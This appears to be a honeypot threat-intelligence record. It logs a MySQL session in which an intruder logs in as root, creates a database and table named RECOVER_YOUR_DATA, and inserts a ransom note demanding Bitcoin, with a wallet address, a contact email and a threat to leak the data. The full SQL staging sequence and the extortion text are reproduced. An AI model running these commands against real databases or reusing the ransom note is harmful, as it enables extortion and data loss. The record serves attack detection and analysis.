PUB-2026-0319-0001

MYSQLEvents10BehaviorYesPrimitives7Duration0s

mysql_ransomware_database_staginghigh

Adversary creates and switches to a newly generated database, creates ransom-related tables, inserts ransom marker content, and commits transactional changes while optionally disabling autocommit. The sequence includes table enumeration and structured write operations indicative of database-level ransomware staging or defacement activity intended to persist extortion instructions or disrupt normal data availability.

Session Events10 events · 0s

002:24:41authroot·mysql_native_password

102:24:41sqlSET AUTOCOMMIT=0

202:24:41sqlCREATE DATABASE IF NOT EXISTS RECOVER_YOUR_DATA

302:24:41sqlCOMMIT

402:24:41sqlUSE RECOVER_YOUR_DATA

▸ 1 field

502:24:41sqlSHOW tables

▸ 1 field

602:24:41sqlCREATE TABLE IF NOT EXISTS RECOVER_YOUR_DATA (text VARCHAR(255))

▸ 1 field

702:24:41sql

INSERT 
INTO RECOVER_YOUR_DATA (text) 
VALUES ('All your data is backed up. You must pay 0.0126 BTC to bc1qh8jhaft6rn6wf0s9efwn4mwv22m6pnr7yjwfeq In 48 hours, your data will be publicly disclosed 
and deleted. (more information: go to https://is.gd/dzenmsq)')

▸ 1 field

802:24:41sql

INSERT 
INTO RECOVER_YOUR_DATA (text) 
VALUES ('After payment send mail to us: [email protected] 
and we will provide a link for you to download your data. Your DATAID is: 2MC9H')

▸ 1 field

902:24:41sqlCOMMIT

▸ 1 field

Matched Primitives

Related MYSQL Sessions

ID	Protocol	Events	Behavior	Primitives	Duration
PUB-2026-0307-0010	MYSQL	35	No	1	1s
PUB-2026-0305-0020	MYSQL	10	Yes	6	1s
PUB-2026-0305-0019	MYSQL	6	Yes	4	6s